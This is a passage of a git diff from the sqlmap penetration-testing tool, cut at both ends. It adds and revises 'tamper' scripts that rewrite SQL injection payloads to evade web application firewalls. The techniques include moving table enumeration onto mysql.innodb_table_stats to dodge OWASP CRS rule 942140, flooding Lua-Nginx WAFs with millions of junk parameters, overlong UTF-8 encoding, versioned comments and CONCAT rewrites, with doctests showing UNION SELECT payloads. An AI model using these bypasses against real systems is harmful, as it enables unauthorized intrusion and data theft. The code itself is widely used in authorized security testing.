payload.find("IFNULL") > -1: + if payload and payload.find("IFNULL(") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None + quote, doublequote = False, False for i in xrange(index + len("IFNULL("), len(payload)): - if depth == 1 and payload[i] == ',': - comma = i - - elif depth == 1 and payload[i] == ')': - end = i - break - - elif payload[i] == '(': - depth += 1 - - elif payload[i] == ')': - depth -= 1 + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if depth == 1 and payload[i] == ',': + comma = i + elif depth == 1 and payload[i] == ')': + end = i + break + elif payload[i] == '(': + depth += 1 + elif payload[i] == ')': + depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 7c146a30e86..bb977b90229 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,19 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ - Add a comment to the end of all occurrences of (blacklisted) "information_schema" identifier + Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' @@ -22,6 +22,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"(?i)(information_schema)\.", "\g<1>/**/.", payload) + retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload) return retVal diff --git a/tamper/infoschema2innodb.py b/tamper/infoschema2innodb.py new file mode 100644 index 00000000000..053242cc531 --- /dev/null +++ b/tamper/infoschema2innodb.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Rewrites MySQL table-enumeration off 'information_schema.tables' onto the InnoDB statistics + table 'mysql.innodb_table_stats' (table_schema -> database_name), to dodge WAF rules that flag + the 'information_schema' name (e.g. OWASP CRS 942140 'common DB names') + + Requirement: + * MySQL + + Notes: + * 'information_schema' is a hard token for anomaly-scoring WAFs (CRS rule 942140), so table + enumeration is blocked even when the single-character read itself is not. 'mysql.innodb_table_stats' + exposes (database_name, table_name) for every InnoDB table and is NOT on those blocklists, so the + same enumeration passes. Pair with 'blindbinary' to also get the per-character read through. + * Only InnoDB tables are listed (no MyISAM/MEMORY tables, no views) and SELECT on the 'mysql' + schema is required (granted to root and most admin users). + * Column enumeration (information_schema.columns) has no such InnoDB equivalent; provide the + columns explicitly (-C) when behind such a WAF, or fall back to common-columns brute forcing. + + >>> tamper('SELECT table_name FROM information_schema.tables WHERE table_schema=0x6d6173746572 LIMIT 0,1') + 'SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=0x6d6173746572 LIMIT 0,1' + >>> tamper('SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x61') + 'SELECT COUNT(table_name) FROM mysql.innodb_table_stats WHERE database_name=0x61' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + retVal = payload + + if retVal and re.search(r"(?i)information_schema\.tables", retVal): + retVal = re.sub(r"(?i)information_schema\.tables", "mysql.innodb_table_stats", retVal) + retVal = re.sub(r"(?i)table_schema", "database_name", retVal) + + return retVal diff --git a/tamper/least.py b/tamper/least.py new file mode 100644 index 00000000000..a4f84a5a9a3 --- /dev/null +++ b/tamper/least.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces greater than operator ('>') with 'LEAST' counterpart + + Tested against: + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the greater than character + * The LEAST clause is a widespread SQL command. Hence, this + tamper script should work against majority of databases + + >>> tamper('1 AND A > B') + '1 AND LEAST(A,B+1)=B+1' + """ + + retVal = payload + + if payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) + + if match: + _ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4)) + retVal = retVal.replace(match.group(0), _) + + return retVal diff --git a/tamper/lowercase.py b/tamper/lowercase.py index e06706af5f8..ab0fa2e9a0c 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -17,7 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces each keyword character with lower case value + Replaces each keyword character with lower case value (e.g. SELECT -> select) Tested against: * Microsoft SQL Server 2005 @@ -28,7 +28,6 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions - * This tamper script should work against all (?) databases >>> tamper('INSERT') 'insert' @@ -37,7 +36,7 @@ def tamper(payload, **kwargs): retVal = payload if payload: - for match in re.finditer(r"[A-Za-z_]+", retVal): + for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): word = match.group() if word.upper() in kb.keywords: diff --git a/tamper/luanginx.py b/tamper/luanginx.py new file mode 100644 index 00000000000..aca3e3a1b10 --- /dev/null +++ b/tamper/luanginx.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import random +import string + +from lib.core.compat import xrange +from lib.core.enums import HINT +from lib.core.enums import PRIORITY +from lib.core.settings import DEFAULT_GET_POST_DELIMITER + +__priority__ = PRIORITY.NORMAL + +def tamper(payload, **kwargs): + """ + LUA-Nginx WAFs Bypass (e.g. Cloudflare) + + Reference: + * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + + Notes: + * Lua-Nginx WAFs do not support processing of more than 100 parameters + + >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload) + '34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1' + """ + + hints = kwargs.get("hints", {}) + delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) + + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(500)) + + return payload diff --git a/tamper/luanginxmore.py b/tamper/luanginxmore.py new file mode 100644 index 00000000000..1d360db1005 --- /dev/null +++ b/tamper/luanginxmore.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import random +import string +import os + +from lib.core.compat import xrange +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import HINT +from lib.core.enums import PRIORITY +from lib.core.settings import DEFAULT_GET_POST_DELIMITER + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run on POST requests" % (os.path.basename(__file__).split(".")[0])) + +def tamper(payload, **kwargs): + """ + LUA-Nginx WAFs Bypass (e.g. Cloudflare) with 4.2 million parameters + + Reference: + * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + + Notes: + * Lua-Nginx WAFs do not support processing of huge number of parameters + """ + + hints = kwargs.get("hints", {}) + delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) + + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(4194304)) + + return payload diff --git a/tamper/misunion.py b/tamper/misunion.py new file mode 100644 index 00000000000..062f049cc0c --- /dev/null +++ b/tamper/misunion.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces instances of UNION with -.1UNION + + Requirement: + * MySQL + + Notes: + * Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf + + >>> tamper('1 UNION ALL SELECT') + '1-.1UNION ALL SELECT' + >>> tamper('1" UNION ALL SELECT') + '1"-.1UNION ALL SELECT' + """ + + return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 1d38e534421..458497706cd 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,21 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import os + from lib.core.common import randomInt +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ - Embraces complete query with versioned comment + Embraces complete query with (MySQL) versioned comment Requirement: * MySQL @@ -24,12 +28,12 @@ def tamper(payload, **kwargs): * MySQL 5.0 Notes: - * Useful to bypass ModSecurity WAF/IDS + * Useful to bypass ModSecurity WAF >>> import random >>> random.seed(0) >>> tamper('1 AND 2>1--') - '1 /*!30874AND 2>1*/--' + '1 /*!30963AND 2>1*/--' """ retVal = payload diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index ac13da0b871..0cf1dd511aa 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,20 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import os + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ - Embraces complete query with zero-versioned comment + Embraces complete query with (MySQL) zero-versioned comment Requirement: * MySQL @@ -23,7 +27,7 @@ def tamper(payload, **kwargs): * MySQL 5.0 Notes: - * Useful to bypass ModSecurity WAF/IDS + * Useful to bypass ModSecurity WAF >>> tamper('1 AND 2>1--') '1 /*!00000AND 2>1*/--' diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index c08607512cd..ab02a0c911c 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,14 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import random import re from lib.core.data import kb +from lib.core.datatype import OrderedSet from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL @@ -18,7 +19,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Adds multiple spaces around SQL keywords + Adds multiple spaces (' ') around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls @@ -28,22 +29,22 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('1 UNION SELECT foobar') - '1 UNION SELECT foobar' + '1 UNION SELECT foobar' """ retVal = payload if payload: - words = set() + words = OrderedSet() - for match in re.finditer(r"[A-Za-z_]+", payload): + for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if word.upper() in kb.keywords: words.add(word) for word in words: - retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal) - retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal) + retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randint(1, 4), word, ' ' * random.randint(1, 4)), retVal) + retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randint(1, 4), word), retVal) return retVal diff --git a/tamper/nonrecursivereplacement.py b/tamper/nonrecursivereplacement.py deleted file mode 100644 index 5feb443ccba..00000000000 --- a/tamper/nonrecursivereplacement.py +++ /dev/null @@ -1,41 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import random -import re - -from lib.core.common import singleTimeWarnMessage -from lib.core.enums import PRIORITY - -__priority__ = PRIORITY.NORMAL - -def tamper(payload, **kwargs): - """ - Replaces predefined SQL keywords with representations - suitable for replacement (e.g. .replace("SELECT", "")) filters - - Notes: - * Useful to bypass very weak custom filters - - >>> random.seed(0) - >>> tamper('1 UNION SELECT 2--') - '1 UNIOUNIONN SELESELECTCT 2--' - """ - - keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE") - retVal = payload - - warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords) - warnMsg += "You can set it manually according to your needs" - singleTimeWarnMessage(warnMsg) - - if payload: - for keyword in keywords: - _ = random.randint(1, len(keyword) - 1) - retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) - - return retVal diff --git a/tamper/oraclequote.py b/tamper/oraclequote.py new file mode 100644 index 00000000000..6b0416357d9 --- /dev/null +++ b/tamper/oraclequote.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) + +def tamper(payload, **kwargs): + """ + Replaces single-quoted strings with Oracle alternative-quoted strings (e.g. 'abc' -> q'[abc]') + + Requirement: + * Oracle 10g+ + + Tested against: + * Oracle 11g, 12c, 18c, 19c, 21c, 23ai + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: q-quoting delimits the literal with a chosen bracket/char + so the inner text needs no quote at all + * The first delimiter whose characters are absent from the literal is + used; a literal that contains every candidate delimiter is left untouched + + >>> tamper("SELECT 'abc' FROM DUAL") + "SELECT q'[abc]' FROM DUAL" + """ + + def _quote(match): + value = match.group(1) + for start, end in (("[", "]"), ("{", "}"), ("(", ")"), ("<", ">"), ("!", "!"), ("|", "|"), ("#", "#")): + if start not in value and end not in value: + return "q'%s%s%s'" % (start, value, end) + return match.group(0) + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", _quote, payload) + + return retVal diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py new file mode 100644 index 00000000000..7e59ecb2ae6 --- /dev/null +++ b/tamper/ord2ascii.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces ORD() occurences with equivalent ASCII() calls + Requirement: + * MySQL + >>> tamper("ORD('42')") + "ASCII('42')" + """ + + retVal = payload + + if payload: + retVal = re.sub(r"(?i)\bORD\(", "ASCII(", payload) + + return retVal diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index ac2885d7ae8..75bd678e775 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import string @@ -16,13 +16,14 @@ def dependencies(): def tamper(payload, **kwargs): """ - Converts all characters in a given payload (not processing already - encoded) + Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7) - Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + Reference: + * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') - 'SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1' + 'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1' """ retVal = payload @@ -37,7 +38,7 @@ def tamper(payload, **kwargs): i += 3 else: if payload[i] not in (string.ascii_letters + string.digits): - retVal += "%%C0%%%.2X" % (0x8A | ord(payload[i])) + retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) else: retVal += payload[i] i += 1 diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py new file mode 100644 index 00000000000..391464f6ef7 --- /dev/null +++ b/tamper/overlongutf8more.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) + + Reference: + * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ + + >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') + '%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += payload[i:i + 3] + i += 3 + else: + retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) + i += 1 + + return retVal diff --git a/tamper/percentage.py b/tamper/percentage.py index e5449573927..6230e2fa57d 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,24 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import string -from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage +from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): """ - Adds a percentage sign ('%') infront of each character + Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T) Requirement: * ASP @@ -35,6 +35,8 @@ def tamper(payload, **kwargs): '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ + retVal = payload + if payload: retVal = "" i = 0 diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py new file mode 100644 index 00000000000..a1738a11079 --- /dev/null +++ b/tamper/plus2concat.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.common import zeroDepthSearch +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) + +def tamper(payload, **kwargs): + """ + Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart + + Tested against: + * Microsoft SQL Server 2012 + + Requirements: + * Microsoft SQL Server 2012+ + + Notes: + * Useful in case ('+') character is filtered + + >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') + 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' + + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe' + """ + + retVal = payload + + if payload: + match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + part = match.group(0) + + chars = [char for char in part] + for index in zeroDepthSearch(part, '+'): + chars[index] = ',' + + replacement = "CONCAT(%s)" % "".join(chars) + retVal = retVal.replace(part, replacement) + + return retVal diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py new file mode 100644 index 00000000000..0706275e904 --- /dev/null +++ b/tamper/plus2fnconcat.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.common import zeroDepthSearch +from lib.core.compat import xrange +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) + +def tamper(payload, **kwargs): + """ + Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart + + Tested against: + * Microsoft SQL Server 2008 + + Requirements: + * Microsoft SQL Server 2008+ + + Notes: + * Useful in case ('+') character is filtered + * https://msdn.microsoft.com/en-us/library/bb630290.aspx + + >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') + 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' + + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe' + """ + + retVal = payload + + if payload: + match = 